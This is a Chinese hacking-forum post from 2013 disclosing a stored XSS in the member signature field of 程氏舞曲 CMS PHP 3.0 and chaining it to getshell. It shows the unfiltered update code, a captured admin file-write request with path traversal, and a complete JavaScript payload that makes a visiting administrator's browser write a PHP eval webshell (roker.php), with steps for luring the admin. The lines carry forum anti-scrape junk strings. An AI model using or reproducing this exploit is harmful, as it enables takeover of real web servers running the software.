找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2484|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题9 o# e4 L! P& H9 o
官网已经修补了,所以重新下了源码+ O7 }5 q% y: }1 U* ~
因为 后台登入 还需要认证码 所以 注入就没看了。
, p$ o) V* ]+ N8 M6 i0 e存在 xss
% U- T# F. f' H4 c$ ^3 d漏洞文件 user/member/skin_edit.php1 a/ G1 B- i, y2 h. B
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:" O. o' Y( t, J5 ?# o% a/ S2 K
  - x  l+ ~  O$ n/ l$ A& @
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>- p: e% n9 h: I- A+ O6 J
  2 {& G1 C' V% y, n# z
</textarea></td></tr>' v1 p$ _" }! h0 s
  
' y  N1 a- C& U! `0 u5 P             user/do.php # I" R, e+ [# ?+ L+ D
  ?( K  f! \! ~( K/ _1 ?) H2 F
. R% q; t5 a! w2 d* p2 e
if($op=='zl'){ //资料
" K) w2 q2 Z, a    e' ~  H! h/ D7 `: M! |$ a3 y3 v
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
$ `. A; E3 r3 T2 o/ T" W             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));% a" |( i+ Q% P
  8 Y8 J3 q9 W& ~+ {% c
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
* C/ C4 ]8 C* s5 ]' f& X6 a# x  
6 c# Y6 k: O8 N7 p  S             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'; a# `* o+ S+ H; t+ b3 z2 q5 I' \- u. \" w
             where CS_Name='".$cscms_name."'";
3 y3 P3 g- K& D. q: n. Z  + w0 h; q+ M4 ]% q& t' [# a
             if($db->query($sql)){+ t* e: l, {. U4 e6 F8 s; H
  7 e, P. f; C0 ^4 t+ a0 g$ ?
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
) _4 E; O1 x) z" u& w# C- H    _: b' t! B, c3 n! x7 V0 i
             }else{9 N1 a$ v' L0 \4 y) o
  
) o3 N; R+ A' @3 H              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));& W0 o5 R7 U+ F
  9 ^. N& i8 {6 s
             }" _- {1 I4 b8 ~7 R7 _, C0 D

4 r" F0 e% _3 U: f: O* W; q& \1 J1 m
没有 过滤导致xss产生。
6 b  R8 L( m0 A" z; p8 _后台 看了下 很奇葩的是可以写任意格式文件。。
  t+ Y% W) g' C+ [7 f抓包。。
8 s, u$ E9 B# _, A, s: B2 E4 y0 w9 O2 n  y0 v) G+ H
6 O4 Q* _, B3 x6 o$ C! V% d% S
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1: \1 `9 l  [; H# z7 Y% K9 A7 u
  
- ?& F/ B# u* o1 ]! Y! VAccept: text/html, application/xhtml+xml, */*, O9 k4 w+ O. l9 L
  3 T5 J& ?* \3 S% G: T! V
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php5 W8 Q' p. _% f$ j
  : Z; t4 }( L6 u, _
Accept-Language: zh-CN3 @/ ~+ s  J3 {6 A) J7 u1 H: K4 m& b3 r2 Q
  + Z; R1 G' m& q( ?" q* D8 i
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0); I2 v! q8 ~7 w2 Y" J, W
  
9 }7 Z; [" j$ p+ HContent-Type: application/x-www-form-urlencoded
: m2 R8 Z8 V/ W1 K  5 _" @, E6 K) ?( ~
Accept-Encoding: gzip, deflate' y' t& w  Q. E, c$ ?  y
  
$ t6 G! _  `" r, w# Q! e+ X( DHost: 127.0.0.14 R4 Q  M0 S& G  O( A
  
1 ^- m0 j& n. R9 {; v7 KContent-Length: 38
( h& e; p* J2 m) a6 \1 [  3 t) `, [" B+ b, Y" O
DNT: 1: A, R8 O' e, O8 Q2 [* s
  
& }% ]- ~5 O) Q, O0 vConnection: Keep-Alive
4 x( p/ Y4 R0 y$ O# z( f  
+ y" t& L" B3 f7 |. \* ~+ Q& NCache-Control: no-cache
& z- n4 D$ S1 X" m  " [$ K1 \& N4 D2 i4 R
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
; D! t4 c4 Y. F  
- Z( J: a% v. V, o! D
7 V1 r" k3 M) N) X# U+ [3 @, _( q5 tname=aaa.php&content=%3Cs%3E%3Ca%25%3E3 W  H3 I3 I" ?
1 _/ K% Y, o/ D* O3 e

' h! u  J0 Y' O" h
6 H* {, m4 ~0 _, l! N9 b5 \+ M1 k于是 构造js如下。
" O2 X0 _$ i* U" k& }) }  X
- d+ @) F8 @) m本帖隐藏的内容<script>
$ X  y' S. A. w$ y4 c: x. CthisTHost = top.location.hostname;. A1 S- N/ T8 K
  
) H/ Q5 n, \0 RthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
' l  p. r8 C3 Z  * B2 }: o( b" i; d' p- _
function PostSubmit(url, data, msg) {
$ x8 z9 Y) V' P3 {# e) k    var postUrl = url;3 }4 W4 B, F( A; w! R9 _
  
( \6 ]. _& V) t5 S7 d* H% c$ ^* \6 d% f# o    var postData = data;
  m4 c% f( [+ G, d    var msgData = msg;
5 U* a4 n7 Y# s/ r' _/ L3 T" A    var ExportForm = document.createElement("FORM");
+ Q' x8 ?  d% t  W, M    document.body.appendChild(ExportForm);
, N+ B8 ?8 j9 ~- b$ e, F' ]    ExportForm.method = "POST";
% d' t! V5 u! Z" G# J, b    var newElement = document.createElement("input"); 8 ~0 ?7 w* t2 C/ ^) s2 q
    newElement.setAttribute("name", "name");
- U) j- t) h% A8 f/ v    newElement.setAttribute("type", "hidden");
0 A9 |+ [( L& w/ L    var newElement2 = document.createElement("input");
, V* L9 {- S- Z; I- ?    newElement2.setAttribute("name", "content"); / r. x  `; c8 d, ]
    newElement2.setAttribute("type", "hidden"); 7 m' Z- h7 p8 t% I/ N: g
    ExportForm.appendChild(newElement); 7 }2 ^# K: G9 v3 _9 q3 j
    ExportForm.appendChild(newElement2);
# j/ N, U) [& o  Q) a3 L7 ~    newElement.value = postData; / X5 |  B& @; Y- [" D% ?5 b
    newElement2.value = msgData; ! x- E+ u) Z+ x7 P% j/ T1 V
    ExportForm.action = postUrl; $ X% ]) g+ x  i$ S5 }8 p; O
    ExportForm.submit(); & W+ G* d; b% g
};
* l1 W- ]0 Y0 M( c- T1 |  ! P# f7 r  X! ]) N3 l3 U; A
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");  |- O7 C3 w! J4 z* e4 ]1 W
  & U0 z/ @1 t: U% ^
</script>
2 G+ z& }1 r+ [( E* K2 H3 `9 n/ ]% k: }( m; C8 \( X

) D) y7 s  |; }' s9 S0 {) S2 w/ H2 j) c
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
' M: _5 r# {1 \- M; d/ s. N( R用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)! c: _& _3 @4 v+ V/ a
就会 在 skins\index\html\目录下生成 roker.php 一句话。

6 B2 u" U! N- v- X  L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表